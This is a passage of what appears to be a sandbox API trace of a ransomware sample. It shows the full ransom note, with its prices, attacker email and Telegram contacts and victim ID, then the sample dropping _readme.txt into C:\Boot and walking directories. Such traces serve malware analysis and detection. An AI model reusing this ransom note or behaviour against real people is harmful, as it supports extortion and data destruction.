decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.290] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.290] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.290] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.290] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x4a0c2390, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x4a0c2390, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0116.290] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x49c97d10, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0116.290] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0116.290] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0116.290] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0116.290] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0116.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1c) returned 0x3947c70 [0116.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.291] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x38) returned 0x3983720 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.291] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x54) returned 0x39668a0 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3983720 | out: hHeap=0xd10000) returned 1 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.291] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39668a0 | out: hHeap=0xd10000) returned 1 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.292] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa8) returned 0x39326e8 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5f88 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5fb0 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39418b0 | out: hHeap=0xd10000) returned 1 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.292] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.292] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xfc) returned 0xdcc590 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5fd8 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6000 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6028 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6050 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5f88 | out: hHeap=0xd10000) returned 1 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5fb0 | out: hHeap=0xd10000) returned 1 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39326e8 | out: hHeap=0xd10000) returned 1 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.293] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.293] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.293] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x16c) returned 0x38e0b90 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5fb0 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5f88 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6078 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f60a0 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f60c8 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f60f0 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6118 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6140 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5fd8 | out: hHeap=0xd10000) returned 1 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6000 | out: hHeap=0xd10000) returned 1 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6028 | out: hHeap=0xd10000) returned 1 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6050 | out: hHeap=0xd10000) returned 1 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.294] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.294] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, 